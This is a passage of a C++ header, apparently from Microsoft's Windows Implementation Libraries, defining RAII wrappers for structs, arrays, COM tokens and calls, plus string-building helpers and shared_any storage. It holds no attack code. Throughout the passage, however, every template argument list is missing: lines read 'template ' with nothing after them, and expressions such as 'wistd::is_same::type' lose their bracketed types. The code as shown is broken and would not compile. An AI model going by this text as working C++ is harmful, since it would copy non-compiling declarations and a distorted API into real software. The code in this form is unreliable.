call_init(use_default_init_fn());\n }\n\n //! Takes ownership of the struct by doing a shallow copy. Must explicitly be type struct_t\n explicit unique_struct(const struct_t& other) WI_NOEXCEPT :\n struct_t(other)\n {}\n\n //! Initializes the managed struct by taking the ownership of the other managed struct\n //! Then resets the other managed struct by calling the custom close function\n unique_struct(unique_struct&& other) WI_NOEXCEPT :\n struct_t(other.release())\n {}\n\n //! Resets this managed struct by calling the custom close function and takes ownership of the other managed struct\n //! Then resets the other managed struct by calling the custom close function\n unique_struct & operator=(unique_struct&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset(other.release());\n }\n return *this;\n }\n\n //! Calls the custom close function\n ~unique_struct() WI_NOEXCEPT\n {\n wistd::invoke(close_fn, this);\n }\n\n void reset(const unique_struct&) = delete;\n\n //! Resets this managed struct by calling the custom close function and begins management of the other struct\n void reset(const struct_t& other) WI_NOEXCEPT\n {\n {\n auto preserveError = last_error_context();\n wistd::invoke(close_fn, this);\n }\n struct_t::operator=(other);\n }\n\n //! Resets this managed struct by calling the custom close function\n //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified\n void reset() WI_NOEXCEPT\n {\n wistd::invoke(close_fn, this);\n call_init(use_default_init_fn());\n }\n\n void swap(struct_t&) = delete;\n\n //! Swaps the managed structs\n void swap(unique_struct& other) WI_NOEXCEPT\n {\n struct_t self(*this);\n struct_t::operator=(other);\n *(other.addressof()) = self;\n }\n\n //! Returns the managed struct\n //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified\n struct_t release() WI_NOEXCEPT\n {\n struct_t value(*this);\n call_init(use_default_init_fn());\n return value;\n }\n\n //! Returns address of the managed struct\n struct_t * addressof() WI_NOEXCEPT\n {\n return this;\n }\n\n //! Resets this managed struct by calling the custom close function\n //! Then initializes this managed struct using the user-provided initialization function, or ZeroMemory if no function is specified\n //! Returns address of the managed struct\n struct_t * reset_and_addressof() WI_NOEXCEPT\n {\n reset();\n return this;\n }\n\n unique_struct(const unique_struct&) = delete;\n unique_struct& operator=(const unique_struct&) = delete;\n unique_struct& operator=(const struct_t&) = delete;\n\n private:\n typedef typename wistd::is_same::type use_default_init_fn;\n\n void call_init(wistd::true_type)\n {\n RtlZeroMemory(this, sizeof(*this));\n }\n\n void call_init(wistd::false_type)\n {\n init_fn(this);\n }\n };\n\n struct empty_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T) const\n {\n }\n };\n\n /** unique_any_array_ptr is a RAII type for managing conformant arrays that need to be freed and have elements that may need to be freed.\n The intented use for this RAII type would be to capture out params from API like IPropertyValue::GetStringArray.\n This class also maintains the size of the array, so it can iterate over the members and deallocate them before it deallocates the base array pointer.\n\n If the type you're wrapping is a system type, you can share the code by declaring it in this file (Resource.h). Send requests to wildisc.\n Otherwise, if the type is local to your project, declare it locally.\n\n @tparam ValueType: The type of array you want to manage.\n @tparam ArrayDeleter: The type of the function to clean up the array. Takes one parameter of type T[] or T*. Return values are ignored. This is called in the destructor and reset functions.\n @tparam ElementDeleter: The type of the function to clean up the array elements. Takes one parameter of type T. Return values are ignored. This is called in the destructor and reset functions.\n\n ~~~\n void GetSomeArray(_Out_ size_t*, _Out_ NOTMYTYPE**);\n\n struct not_my_deleter\n {\n void operator()(NOTMYTYPE p) const\n {\n destroy(p);\n }\n };\n\n wil::unique_any_array_ptr myArray;\n GetSomeArray(myArray.size_address(), &myArray);\n ~~~ */\n template \n class unique_any_array_ptr\n {\n public:\n typedef ValueType value_type;\n typedef size_t size_type;\n typedef ptrdiff_t difference_type;\n typedef ValueType *pointer;\n typedef const ValueType *const_pointer;\n typedef ValueType& reference;\n typedef const ValueType& const_reference;\n\n typedef ValueType* iterator;\n typedef const ValueType* const_iterator;\n\n unique_any_array_ptr() = default;\n unique_any_array_ptr(const unique_any_array_ptr&) = delete;\n unique_any_array_ptr& operator=(const unique_any_array_ptr&) = delete;\n\n unique_any_array_ptr(wistd::nullptr_t) WI_NOEXCEPT\n {\n }\n\n unique_any_array_ptr& operator=(wistd::nullptr_t) WI_NOEXCEPT\n {\n reset();\n return *this;\n }\n\n unique_any_array_ptr(pointer ptr, size_t size) WI_NOEXCEPT : m_ptr(ptr), m_size(size)\n {\n }\n\n unique_any_array_ptr(unique_any_array_ptr&& other) WI_NOEXCEPT : m_ptr(other.m_ptr), m_size(other.m_size)\n {\n other.m_ptr = nullptr;\n other.m_size = size_type{};\n }\n\n unique_any_array_ptr& operator=(unique_any_array_ptr&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n swap(other);\n }\n return *this;\n }\n\n ~unique_any_array_ptr() WI_NOEXCEPT\n {\n reset();\n }\n\n void swap(unique_any_array_ptr& other) WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n auto size = m_size;\n m_ptr = other.m_ptr;\n m_size = other.m_size;\n other.m_ptr = ptr;\n other.m_size = size;\n }\n\n iterator begin() WI_NOEXCEPT\n {\n return (iterator(m_ptr));\n }\n\n const_iterator begin() const WI_NOEXCEPT\n {\n return (const_iterator(m_ptr));\n }\n\n iterator end() WI_NOEXCEPT\n {\n return (iterator(m_ptr + m_size));\n }\n\n const_iterator end() const WI_NOEXCEPT\n {\n return (const_iterator(m_ptr + m_size));\n }\n\n const_iterator cbegin() const WI_NOEXCEPT\n {\n return (begin());\n }\n\n const_iterator cend() const WI_NOEXCEPT\n {\n return (end());\n }\n\n size_type size() const WI_NOEXCEPT\n {\n return (m_size);\n }\n\n bool empty() const WI_NOEXCEPT\n {\n return (size() == size_type{});\n }\n\n reference operator[](size_type position)\n {\n WI_ASSERT(position < m_size);\n _Analysis_assume_(position < m_size);\n return (m_ptr[position]);\n }\n\n const_reference operator[](size_type position) const\n {\n WI_ASSERT(position < m_size);\n _Analysis_assume_(position < m_size);\n return (m_ptr[position]);\n }\n\n reference front()\n {\n WI_ASSERT(!empty());\n return (m_ptr[0]);\n }\n\n const_reference front() const\n {\n WI_ASSERT(!empty());\n return (m_ptr[0]);\n }\n\n reference back()\n {\n WI_ASSERT(!empty());\n return (m_ptr[m_size - 1]);\n }\n\n const_reference back() const\n {\n WI_ASSERT(!empty());\n return (m_ptr[m_size - 1]);\n }\n\n ValueType* data() WI_NOEXCEPT\n {\n return (m_ptr);\n }\n\n const ValueType* data() const WI_NOEXCEPT\n {\n return (m_ptr);\n }\n\n pointer get() const WI_NOEXCEPT\n {\n return m_ptr;\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_ptr != pointer());\n }\n\n pointer release() WI_NOEXCEPT\n {\n auto result = m_ptr;\n m_ptr = nullptr;\n m_size = size_type{};\n return result;\n }\n\n void reset() WI_NOEXCEPT\n {\n if (m_ptr)\n {\n reset_array(ElementDeleter());\n ArrayDeleter()(m_ptr);\n m_ptr = nullptr;\n m_size = size_type{};\n }\n }\n\n void reset(pointer ptr, size_t size) WI_NOEXCEPT\n {\n reset();\n m_ptr = ptr;\n m_size = size;\n }\n\n pointer* addressof() WI_NOEXCEPT\n {\n return &m_ptr;\n }\n\n pointer* put() WI_NOEXCEPT\n {\n reset();\n return addressof();\n }\n\n pointer* operator&() WI_NOEXCEPT\n {\n return put();\n }\n\n size_type* size_address() WI_NOEXCEPT\n {\n return &m_size;\n }\n\n template \n struct size_address_ptr\n {\n unique_any_array_ptr& wrapper;\n TSize size{};\n bool replace = true;\n\n size_address_ptr(_Inout_ unique_any_array_ptr& output) :\n wrapper(output)\n {\n }\n\n size_address_ptr(size_address_ptr&& other) :\n wrapper(other.wrapper),\n size(other.size)\n {\n WI_ASSERT(other.replace);\n other.replace = false;\n }\n\n operator TSize*()\n {\n WI_ASSERT(replace);\n return &size;\n }\n\n ~size_address_ptr()\n {\n if (replace)\n {\n *wrapper.size_address() = static_cast(size);\n }\n }\n\n size_address_ptr(size_address_ptr const &other) = delete;\n size_address_ptr &operator=(size_address_ptr const &other) = delete;\n };\n\n template \n size_address_ptr size_address() WI_NOEXCEPT\n {\n return size_address_ptr(*this);\n }\n\n private:\n pointer m_ptr = nullptr;\n size_type m_size{};\n\n void reset_array(const empty_deleter&)\n {\n }\n\n template \n void reset_array(const T& deleter)\n {\n for (auto& element : make_range(m_ptr, m_size))\n {\n deleter(element);\n }\n }\n };\n\n // forward declaration\n template \n class com_ptr_t;\n\n /// @cond\n namespace details\n {\n template \n struct unique_any_array_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n UniqueAnyType::policy::close_reset(p);\n }\n };\n\n template \n struct unique_struct_array_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T& p) const\n {\n wistd::invoke(close_fn, &p);\n }\n };\n\n struct com_unknown_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n if (p)\n {\n p->Release();\n }\n }\n };\n\n template \n struct element_traits\n {\n typedef empty_deleter deleter;\n typedef T type;\n };\n\n template \n struct element_traits>\n {\n typedef unique_any_array_deleter> deleter;\n typedef typename unique_any_t::pointer type;\n };\n\n template \n struct element_traits>\n {\n typedef com_unknown_deleter deleter;\n typedef T* type;\n };\n\n template \n struct element_traits>\n {\n typedef unique_struct_array_deleter deleter;\n typedef struct_t type;\n };\n }\n /// @endcond\n\n template \n using unique_array_ptr = unique_any_array_ptr::type, ArrayDeleter, typename details::element_traits::deleter>;\n\n /** Adapter for single-parameter 'free memory' for `wistd::unique_ptr`.\n This struct provides a standard wrapper for calling a platform function to deallocate memory held by a\n `wistd::unique_ptr`, making declaring them as easy as declaring wil::unique_any<>.\n\n Consider this adapter in preference to `wil::unique_any<>` when the returned type is really a pointer or an\n array of items; `wistd::unique_ptr<>` exposes `operator->()` and `operator[]` for array-typed things safely.\n ~~~~\n EXTERN_C VOID WINAPI MyDllFreeMemory(void* p);\n EXTERN_C HRESULT MyDllGetString(_Outptr_ PWSTR* pString);\n EXTERN_C HRESULT MyDllGetThing(_In_ PCWSTR pString, _Outptr_ PMYSTRUCT* ppThing);\n template\n using unique_mydll_ptr = wistd::unique_ptr>;\n HRESULT Test()\n {\n unique_mydll_ptr dllString;\n unique_mydll_ptr thing;\n RETURN_IF_FAILED(MyDllGetString(wil::out_param(dllString)));\n RETURN_IF_FAILED(MyDllGetThing(dllString.get(), wil::out_param(thing)));\n if (thing->Member)\n {\n // ...\n }\n return S_OK;\n }\n ~~~~ */\n template struct function_deleter\n {\n template void operator()(_Frees_ptr_opt_ T* toFree) const\n {\n TDeleter(toFree);\n }\n };\n\n /** Use unique_com_token to define an RAII type for a token-based resource that is managed by a COM interface.\n By comparison, unique_any_t has the requirement that the close function must be static. This works for functions\n such as CloseHandle(), but for any resource cleanup function that relies on a more complex interface,\n unique_com_token can be used.\n\n @tparam interface_t A COM interface pointer that will manage this resource type.\n @tparam token_t The token type that relates to the COM interface management functions.\n @tparam close_fn_t The type of the function that is called when the resource is destroyed.\n @tparam close_fn The function used to destroy the associated resource. This function should have the signature void(interface_t* source, token_t token).\n @tparam invalid_token Optional:An invalid token value. Defaults to default-constructed token_t().\n\n Example\n ~~~\n void __stdcall MyInterfaceCloseFunction(IMyInterface* source, DWORD token)\n {\n source->MyCloseFunction(token);\n }\n using unique_my_interface_token = wil::unique_com_token;\n ~~~ */\n template \n class unique_com_token\n {\n public:\n unique_com_token() = default;\n\n unique_com_token(_In_opt_ interface_t* source, token_t token = invalid_token) WI_NOEXCEPT\n {\n reset(source, token);\n }\n\n unique_com_token(unique_com_token&& other) WI_NOEXCEPT : m_source(other.m_source), m_token(other.m_token)\n {\n other.m_source = nullptr;\n other.m_token = invalid_token;\n }\n\n unique_com_token& operator=(unique_com_token&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_source = other.m_source;\n m_token = other.m_token;\n\n other.m_source = nullptr;\n other.m_token = invalid_token;\n }\n return *this;\n }\n\n ~unique_com_token() WI_NOEXCEPT\n {\n reset();\n }\n\n //! Determine if the underlying source and token are valid\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_token != invalid_token) && m_source;\n }\n\n //! Associates a new source and releases the existing token if valid\n void associate(_In_opt_ interface_t* source) WI_NOEXCEPT\n {\n reset(source, invalid_token);\n }\n\n //! Assigns a new source and token\n void reset(_In_opt_ interface_t* source, token_t token) WI_NOEXCEPT\n {\n WI_ASSERT(source || (token == invalid_token));\n\n // Determine if we need to call the close function on our previous token.\n if (m_token != invalid_token)\n {\n if ((m_source != source) || (m_token != token))\n {\n wistd::invoke(close_fn, m_source, m_token);\n }\n }\n\n m_token = token;\n\n // Assign our new source and manage the reference counts\n if (m_source != source)\n {\n auto oldSource = m_source;\n m_source = source;\n\n if (m_source)\n {\n m_source->AddRef();\n }\n\n if (oldSource)\n {\n oldSource->Release();\n }\n }\n }\n\n //! Assigns a new token without modifying the source; associate must be called first\n void reset(token_t token) WI_NOEXCEPT\n {\n reset(m_source, token);\n }\n\n //! Closes the token and the releases the reference to the source\n void reset() WI_NOEXCEPT\n {\n reset(nullptr, invalid_token);\n }\n\n //! Exchanges values with another managed token\n void swap(unique_com_token& other) WI_NOEXCEPT\n {\n wistd::swap_wil(m_source, other.m_source);\n wistd::swap_wil(m_token, other.m_token);\n }\n\n //! Releases the held token to the caller without closing it and releases the reference to the source.\n //! Requires that the associated COM interface be kept alive externally or the released token may be invalidated\n token_t release() WI_NOEXCEPT\n {\n auto token = m_token;\n m_token = invalid_token;\n reset();\n return token;\n }\n\n //! Returns address of the managed token; associate must be called first\n token_t* addressof() WI_NOEXCEPT\n {\n WI_ASSERT(m_source);\n return &m_token;\n }\n\n //! Releases the held token and allows attaching a new token; associate must be called first\n token_t* put() WI_NOEXCEPT\n {\n reset(invalid_token);\n return addressof();\n }\n\n //! Releases the held token and allows attaching a new token; associate must be called first\n token_t* operator&() WI_NOEXCEPT\n {\n return put();\n }\n\n //! Retrieves the token\n token_t get() const WI_NOEXCEPT\n {\n return m_token;\n }\n\n unique_com_token(const unique_com_token&) = delete;\n unique_com_token& operator=(const unique_com_token&) = delete;\n\n private:\n interface_t* m_source = nullptr;\n token_t m_token = invalid_token;\n };\n\n /** Use unique_com_call to define an RAII type that demands a particular parameter-less method be called on a COM interface.\n This allows implementing an RAII type that can call a Close() method (think IClosable) or a SetSite(nullptr)\n method (think IObjectWithSite) or some other method when a basic interface call is required as part of the RAII contract.\n see wil::com_set_site in wil\\com.h for the IObjectWithSite support.\n\n @tparam interface_t A COM interface pointer that provides context to make the call.\n @tparam close_fn_t The type of the function that is called to invoke the method.\n @tparam close_fn The function used to invoke the interface method. This function should have the signature void(interface_t* source).\n\n Example\n ~~~\n void __stdcall CloseIClosable(IClosable* source)\n {\n source->Close();\n }\n using unique_closable_call = wil::unique_com_call;\n ~~~ */\n template \n class unique_com_call\n {\n public:\n unique_com_call() = default;\n\n explicit unique_com_call(_In_opt_ interface_t* ptr) WI_NOEXCEPT\n {\n reset(ptr);\n }\n\n unique_com_call(unique_com_call&& other) WI_NOEXCEPT\n {\n m_ptr = other.m_ptr;\n other.m_ptr = nullptr;\n }\n\n unique_com_call& operator=(unique_com_call&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_ptr = other.m_ptr;\n other.m_ptr = nullptr;\n }\n return *this;\n }\n\n ~unique_com_call() WI_NOEXCEPT\n {\n reset();\n }\n\n //! Assigns an interface to make a given call on\n void reset(_In_opt_ interface_t* ptr = nullptr) WI_NOEXCEPT\n {\n if (ptr != m_ptr)\n {\n auto oldSource = m_ptr;\n m_ptr = ptr;\n if (m_ptr)\n {\n m_ptr->AddRef();\n }\n if (oldSource)\n {\n wistd::invoke(close_fn, oldSource);\n oldSource->Release();\n }\n }\n }\n\n //! Exchanges values with another class\n void swap(unique_com_call& other) WI_NOEXCEPT\n {\n wistd::swap_wil(m_ptr, other.m_ptr);\n }\n\n //! Cancel the interface call that this class was expected to make\n void release() WI_NOEXCEPT\n {\n auto ptr = m_ptr;\n m_ptr = nullptr;\n if (ptr)\n {\n ptr->Release();\n }\n }\n\n //! Returns true if the call this class was expected to make is still outstanding\n explicit operator bool() const WI_NOEXCEPT\n {\n return (m_ptr != nullptr);\n }\n\n //! Returns address of the internal interface\n interface_t** addressof() WI_NOEXCEPT\n {\n return &m_ptr;\n }\n\n //! Releases the held interface (first performing the interface call if required)\n //! and allows attaching a new interface\n interface_t** put() WI_NOEXCEPT\n {\n reset();\n return addressof();\n }\n\n //! Releases the held interface (first performing the interface call if required)\n //! and allows attaching a new interface\n interface_t** operator&() WI_NOEXCEPT\n {\n return put();\n }\n\n unique_com_call(const unique_com_call&) = delete;\n unique_com_call& operator=(const unique_com_call&) = delete;\n\n private:\n interface_t* m_ptr = nullptr;\n };\n\n\n /** Use unique_call to define an RAII type that demands a particular parameter-less global function be called.\n This allows implementing a RAII types that can call methods like CoUninitialize.\n\n @tparam close_fn_t The type of the function that is called to invoke the call.\n @tparam close_fn The function used to invoke the call. This function should have the signature void().\n @tparam default_value Determines whether the unique_call is active or inactive when default-constructed or reset.\n\n Example\n ~~~\n void __stdcall CoUninitializeFunction()\n {\n ::CoUninitialize();\n }\n using unique_couninitialize_call = wil::unique_call;\n ~~~ */\n template \n class unique_call\n {\n public:\n unique_call() = default;\n\n explicit unique_call(bool call) WI_NOEXCEPT : m_call(call)\n {\n }\n\n unique_call(unique_call&& other) WI_NOEXCEPT\n {\n m_call = other.m_call;\n other.m_call = false;\n }\n\n unique_call& operator=(unique_call&& other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n reset();\n m_call = other.m_call;\n other.m_call = false;\n }\n return *this;\n }\n\n ~unique_call() WI_NOEXCEPT\n {\n reset();\n }\n\n //! Assigns a new ptr and token\n void reset() WI_NOEXCEPT\n {\n auto call = m_call;\n m_call = false;\n if (call)\n {\n wistd::invoke(close_fn);\n }\n }\n\n //! Exchanges values with raii class\n void swap(unique_call& other) WI_NOEXCEPT\n {\n wistd::swap_wil(m_call, other.m_call);\n }\n\n //! Make the interface call that was expected of this class\n void activate() WI_NOEXCEPT\n {\n m_call = true;\n }\n\n //! Do not make the interface call that was expected of this class\n void release() WI_NOEXCEPT\n {\n m_call = false;\n }\n\n //! Returns true if the call that was expected is still outstanding\n explicit operator bool() const WI_NOEXCEPT\n {\n return m_call;\n }\n\n unique_call(const unique_call&) = delete;\n unique_call& operator=(const unique_call&) = delete;\n\n private:\n bool m_call = default_value;\n };\n\n // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer.\n // Overloads in this file support any string that is implicitly convertible to a PCWSTR, HSTRING, and any unique_any_t\n // that points to any other supported type (this covers unique_hstring, unique_cotaskmem_string, and similar).\n // An overload for std::wstring is available in stl.h.\n inline PCWSTR str_raw_ptr(PCWSTR str)\n {\n return str;\n }\n\n template \n PCWSTR str_raw_ptr(const unique_any_t& ua)\n {\n return str_raw_ptr(ua.get());\n }\n\n namespace details\n {\n // Forward declaration\n template struct string_maker;\n\n // Concatenate any number of strings together and store it in an automatically allocated string. If a string is present\n // in the input buffer, it is overwritten.\n template \n HRESULT str_build_nothrow(string_type& result, _In_reads_(strCount) PCWSTR* strList, size_t strCount)\n {\n size_t lengthRequiredWithoutNull{};\n for (auto& string : make_range(strList, strCount))\n {\n lengthRequiredWithoutNull += string ? wcslen(string) : 0;\n }\n\n details::string_maker maker;\n RETURN_IF_FAILED(maker.make(nullptr, lengthRequiredWithoutNull));\n\n auto buffer = maker.buffer();\n auto bufferEnd = buffer + lengthRequiredWithoutNull + 1;\n for (auto& string : make_range(strList, strCount))\n {\n if (string)\n {\n RETURN_IF_FAILED(StringCchCopyExW(buffer, (bufferEnd - buffer), string, &buffer, nullptr, STRSAFE_IGNORE_NULLS));\n }\n }\n\n result = maker.release();\n return S_OK;\n }\n\n // NOTE: 'Strings' must all be PCWSTR, or convertible to PCWSTR, but C++ doesn't allow us to express that cleanly\n template \n HRESULT str_build_nothrow(string_type& result, Strings... strings)\n {\n PCWSTR localStrings[] = { strings... };\n return str_build_nothrow(result, localStrings, sizeof...(Strings));\n }\n }\n\n // Concatenate any number of strings together and store it in an automatically allocated string. If a string is present\n // in the input buffer, the remaining strings are appended to it.\n template \n HRESULT str_concat_nothrow(string_type& buffer, const strings&... str)\n {\n static_assert(sizeof...(str) > 0, \"attempting to concatenate no strings\");\n return details::str_build_nothrow(buffer, details::string_maker::get(buffer), str_raw_ptr(str)...);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n // Concatenate any number of strings together and store it in an automatically allocated string.\n template \n string_type str_concat(arguments&&... args)\n {\n string_type result;\n THROW_IF_FAILED(str_concat_nothrow(result, wistd::forward(args)...));\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n // Concatenate any number of strings together and store it in an automatically allocated string.\n template \n string_type str_concat_failfast(arguments&&... args)\n {\n string_type result;\n FAIL_FAST_IF_FAILED(str_concat_nothrow(result, wistd::forward(args)...));\n return result;\n }\n\n namespace details\n {\n // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments\n // that StringCchPrintfExW takes.\n template \n HRESULT str_vprintf_nothrow(string_type& result, _Printf_format_string_ PCWSTR pszFormat, va_list& argsVL)\n {\n size_t lengthRequiredWithoutNull = _vscwprintf(pszFormat, argsVL);\n\n string_maker maker;\n RETURN_IF_FAILED(maker.make(nullptr, lengthRequiredWithoutNull));\n\n auto buffer = maker.buffer();\n RETURN_IF_FAILED(::StringCchVPrintfExW(buffer, lengthRequiredWithoutNull + 1, nullptr, nullptr, STRSAFE_NULL_ON_FAILURE, pszFormat, argsVL));\n\n result = maker.release();\n return S_OK;\n }\n }\n\n // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments\n // that StringCchPrintfExW takes.\n template \n HRESULT str_printf_nothrow(string_type& result, _Printf_format_string_ PCWSTR pszFormat, ...)\n {\n va_list argsVL;\n va_start(argsVL, pszFormat);\n auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL);\n va_end(argsVL);\n return hr;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments\n // that StringCchPrintfExW takes.\n template \n string_type str_printf(_Printf_format_string_ PCWSTR pszFormat, ...)\n {\n string_type result;\n va_list argsVL;\n va_start(argsVL, pszFormat);\n auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL);\n va_end(argsVL);\n THROW_IF_FAILED(hr);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n // Wraps StringCchPrintFExW and stores it in an automatically allocated string. Takes a buffer followed by the same format arguments\n // that StringCchPrintfExW takes.\n template \n string_type str_printf_failfast(_Printf_format_string_ PCWSTR pszFormat, ...)\n {\n string_type result;\n va_list argsVL;\n va_start(argsVL, pszFormat);\n auto hr = details::str_vprintf_nothrow(result, pszFormat, argsVL);\n va_end(argsVL);\n FAIL_FAST_IF_FAILED(hr);\n return result;\n }\n\n} // namespace wil\n#endif // __WIL_RESOURCE\n\n\n // Hash deferral function for unique_any_t\n#if (defined(_UNORDERED_SET_) || defined(_UNORDERED_MAP_)) && !defined(__WIL_RESOURCE_UNIQUE_HASH)\n#define __WIL_RESOURCE_UNIQUE_HASH\nnamespace std\n{\n template \n struct hash>\n {\n size_t operator()(wil::unique_any_t const &val) const\n {\n return (hash::pointer>()(val.get()));\n }\n };\n}\n#endif\n\n// shared_any and weak_any implementation using STL header\n#if defined(_MEMORY_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(WIL_RESOURCE_STL) && !defined(RESOURCE_SUPPRESS_STL)\n#define WIL_RESOURCE_STL\nnamespace wil {\n\n template \n class weak_any;\n\n /// @cond\n namespace details\n {\n // This class provides the pointer storage behind the implementation of shared_any_t utilizing the given\n // resource_policy. It is separate from shared_any_t to allow a type-specific specialization class to plug\n // into the inheritance chain between shared_any_t and shared_storage. This allows classes like shared_event\n // to be a shared_any formed class, but also expose methods like SetEvent directly.\n\n template \n class shared_storage\n {\n protected:\n typedef UniqueT unique_t;\n typedef typename unique_t::policy policy;\n typedef typename policy::pointer_storage pointer_storage;\n typedef typename policy::pointer pointer;\n typedef shared_storage base_storage;\n\n shared_storage() = default;\n\n explicit shared_storage(pointer_storage ptr)\n {\n if (policy::is_valid(ptr))\n {\n m_ptr = std::make_shared(unique_t(ptr)); // unique_t on the stack to prevent leak on throw\n }\n }\n\n shared_storage(unique_t &&other)\n {\n if (other)\n {\n m_ptr = std::make_shared(wistd::move(other));\n }\n }\n\n shared_storage(const shared_storage &other) WI_NOEXCEPT :\n m_ptr(other.m_ptr)\n {\n }\n\n shared_storage& operator=(const shared_storage &other) WI_NOEXCEPT\n {\n m_ptr = other.m_ptr;\n return *this;\n }\n\n shared_storage(shared_storage &&other) WI_NOEXCEPT :\n m_ptr(wistd::move(other.m_ptr))\n {\n }\n\n shared_storage(std::shared_ptr const &ptr) :\n m_ptr(ptr)\n {\n }\n\n void replace(shared_storage &&other) WI_NOEXCEPT\n {\n m_ptr = wistd::move(other.m_ptr);\n }\n\n public:\n bool is_valid() const WI_NOEXCEPT\n {\n return (m_ptr && m_ptr->is_valid());\n }\n\n void reset(pointer_storage ptr = policy::invalid_value())\n {\n if (policy::is_valid(ptr))\n {\n m_ptr = std::make_shared(unique_t(ptr)); // unique_t on the stack to prevent leak on throw\n }\n else\n {\n m_ptr = nullptr;\n }\n }\n\n void reset(unique_t &&other)\n {\n m_ptr = std::make_shared(wistd::move(other));\n }\n\n void reset(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"reset(nullptr): valid only for handle types using nullptr as the invalid value\");\n reset();\n }\n\n template ::value, int>::type = 0>\n pointer get() const WI_NOEXCEPT\n {\n return (m_ptr ? m_ptr->get() : policy::invalid_value());\n }\n\n template ::value, int>::type = 0>\n pointer_storage *addressof()\n {\n if (!m_ptr)\n {\n m_ptr = std::make_shared();\n }\n return m_ptr->addressof();\n }\n\n long int use_count() const WI_NOEXCEPT\n {\n return m_ptr.use_count();\n }\n\n private:\n template \n friend class ::wil::weak_any;\n\n std::shared_ptr m_ptr;\n };\n }\n /// @endcond\n\n // This class when paired with shared_storage and an optional type-specific specialization class implements\n // the same interface as STL's shared_ptr<> for resource handle types. It is both copyable and movable, supporting\n // weak references and automatic closure of the handle upon release of the last shared_any.\n\n template \n class shared_any_t : public storage_t\n {\n public:\n typedef typename storage_t::policy policy;\n typedef typename policy::pointer_storage pointer_storage;\n typedef typename policy::pointer pointer;\n typedef typename storage_t::unique_t unique_t;\n\n // default and forwarding constructor: forwards default, all 'explicit' and multi-arg constructors to the base class\n template \n explicit shared_any_t(args_t&&... args) : // should not be WI_NOEXCEPT (may forward to a throwing constructor)\n storage_t(wistd::forward(args)...)\n {\n }\n\n shared_any_t(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"nullptr constructor: valid only for handle types using nullptr as the invalid value\");\n }\n\n shared_any_t(shared_any_t &&other) WI_NOEXCEPT :\n storage_t(wistd::move(other))\n {\n }\n\n shared_any_t(const shared_any_t &other) WI_NOEXCEPT :\n storage_t(other)\n {\n }\n\n shared_any_t& operator=(shared_any_t &&other) WI_NOEXCEPT\n {\n if (this != wistd::addressof(other))\n {\n storage_t::replace(wistd::move(static_cast(other)));\n }\n return (*this);\n }\n\n shared_any_t& operator=(const shared_any_t& other) WI_NOEXCEPT\n {\n storage_t::operator=(other);\n return (*this);\n }\n\n shared_any_t(unique_t &&other) :\n storage_t(wistd::move(other))\n {\n }\n\n shared_any_t& operator=(unique_t &&other)\n {\n storage_t::reset(wistd::move(other));\n return (*this);\n }\n\n shared_any_t& operator=(wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::value, \"nullptr assignment: valid only for handle types using nullptr as the invalid value\");\n storage_t::reset();\n return (*this);\n }\n\n void swap(shared_any_t &other) WI_NOEXCEPT\n {\n shared_any_t self(wistd::move(*this));\n operator=(wistd::move(other));\n other = wistd::move(self);\n }\n\n explicit operator bool() const WI_NOEXCEPT\n {\n return storage_t::is_valid();\n }\n\n pointer_storage *put()\n {\n static_assert(wistd::is_same::value, \"operator & is not available for this handle\");\n storage_t::reset();\n return storage_t::addressof();\n }\n\n pointer_storage *operator&()\n {\n return put();\n }\n\n pointer get() const WI_NOEXCEPT\n {\n static_assert(!wistd::is_same::value, \"get(): the raw handle value is not available for this resource class\");\n return storage_t::get();\n }\n\n // The following functions are publicly exposed by their inclusion in the base class\n\n // void reset(pointer_storage ptr = policy::invalid_value()) WI_NOEXCEPT\n // void reset(wistd::nullptr_t) WI_NOEXCEPT\n // pointer_storage *addressof() WI_NOEXCEPT // (note: not exposed for opaque resource types)\n };\n\n template \n void swap(shared_any_t& left, shared_any_t& right) WI_NOEXCEPT\n {\n left.swap(right);\n }\n\n template \n bool operator==(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (left.get() == right.get());\n }\n\n template \n bool operator==(const shared_any_t& left, wistd::nullptr_t) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !left;\n }\n\n template \n bool operator==(wistd::nullptr_t, const shared_any_t& right) WI_NOEXCEPT\n {\n static_assert(wistd::is_same::policy::pointer_invalid, wistd::nullptr_t>::value, \"the resource class does not use nullptr as an invalid value\");\n return !right;\n }\n\n template \n bool operator!=(const shared_any_t& left, const shared_any_t& right) WI_NOEXCEPT\n {\n return (!(left.get() == right.get()));\n }\n\n template \n bool operator!=(const 